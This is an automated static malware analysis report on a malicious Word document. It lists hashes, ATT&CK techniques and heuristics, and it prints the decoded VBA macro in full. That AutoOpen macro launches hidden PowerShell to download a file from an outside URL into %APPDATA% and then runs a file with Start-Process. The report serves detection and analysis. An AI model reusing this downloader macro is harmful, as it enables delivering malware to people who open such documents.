Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f5f9d14419625878…

MALICIOUS

Office (OOXML)

2.66 MB Created: 2021-09-12 13:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-18
MD5: 63e4f6dab0d3e001fc232aa4ef87ed98 SHA-1: 1f79a2e5bd93baf94bde6148d200a3132c0275e8 SHA-256: f5f9d144196258781aa8a1cb74bbcb2e239026028ed2528e659c78eb3c23179d
502 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample is an Office document containing VBA macros, indicated by multiple OLE_VBA heuristics. The AutoOpen macro executes a PowerShell command to download a file from 'http://www.mysite43.com/file.psd' and save it to a location derived from the %APPDATA% environment variable. This PowerShell execution is obfuscated and uses hidden window parameters.

Heuristics 10

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.mysite43.com/file.psd Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2985 bytes
SHA-256: 732c51f1dfb6ca5ba20580bc4587e075653e8304224e0e088c3f9359e5af68aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()


If 0 Then
    Dim oRng As Range
    Dim i As Variant
    Dim iSwitch As Long
    Dim strChoice As String
    Dialogs(wdDialogInsertField).Show
    On Error GoTo lbl_Exit 'User has cancelled
    Set oRng = Selection.Range
    oRng.start = oRng.start - 1
    With oRng.Fields(1)
    If InStr(1, .Code, "MERGEFORMAT") <> 0 Then
    iSwitch = MsgBox("Use charformat in place of the mergeformat switch?", _
    vbYesNo, _
    "Insert Field")
    If iSwitch = vbYes Then
    .Code.Text = Replace(.Code.Text, _
    "MERGEFORMAT", _
    "CHARFORMAT")
    ElseIf iSwitch = vbNo Then
    iSwitch = MsgBox("Remove switch?", _
    vbYesNo, _
    "Insert Field")
    If iSwitch = vbYes Then
    .Code.Text = Replace(.Code.Text, _
    " \* MERGEFORMAT ", _
    "")
    End If
    End If
    End If
    .Update
    End With
    oRng.End = oRng.End + 1
    oRng.Collapse 0
    oRng.Select
lbl_Exit:
    Exit Sub
End If



Set wsh = CreateObject("wscript.shell")

Dim progInet
progInet = "http://www.mysite43.com/file.psd"
Dim progLoc
progLoc = "C:/Users/John/Desktop/Test"
Dim progPath
progPath = wsh.expandEnvironmentStrings("%APPDATA%") + "\Test"
Dim txtFile
txtFile = "C:/Users/John/Desktop/txtFile"


Dim hiddenPS
hiddenPS = "powershell -w hidden -nop -noni "
'hiddenPS = "powershell "


wsh.Run hiddenPS + "$ext = Get-Content " + txtFile + " ; (New-Object System.Net.WebClient).DownloadFile('" + progInet + "', '" + progPath + "')"


If 0 Then
    Dim SettingsFile As String
    Dim Order As String
    Dim sQuery As String
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    Order = System.PrivateProfileString(SettingsFile, "DocNumber", "Order")
    sQuery = InputBox("Reset start number?", "Reset", Order)
    If sQuery = "" Then Exit Sub
    Order = sQuery
    System.PrivateProfileString(SettingsFile, "DocNumber", "Order") = Order
End If


Dim getExt
getExt = "$ext = Get-Content " + txtFile + " ; "
Dim renameAndCopyFile
renameAndCopyFile = "Copy-Item -Path " + progLoc + " -Destination (-join('" + progPath + "',$ext)) ; "
Dim start
start = "Start-Process (-join('" + progPath + "',$ext))"

wsh.Run hiddenPS + getExt + renameAndCopyFile + start + " ; pause"


If 0 Then
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    Order = System.PrivateProfileString(SettingsFile, "DocNumber", "Order")
    sQuery = InputBox("Reset start number?", "Reset", Order)
    If sQuery = "" Then Exit Sub
    Order = sQuery
    System.PrivateProfileString(SettingsFile, "DocNumber", "Order") = Order
End If

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: c117f3e116e427d668821e3285e5cb8f023d341ba76a66d0041107f8ebb7f1a9
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.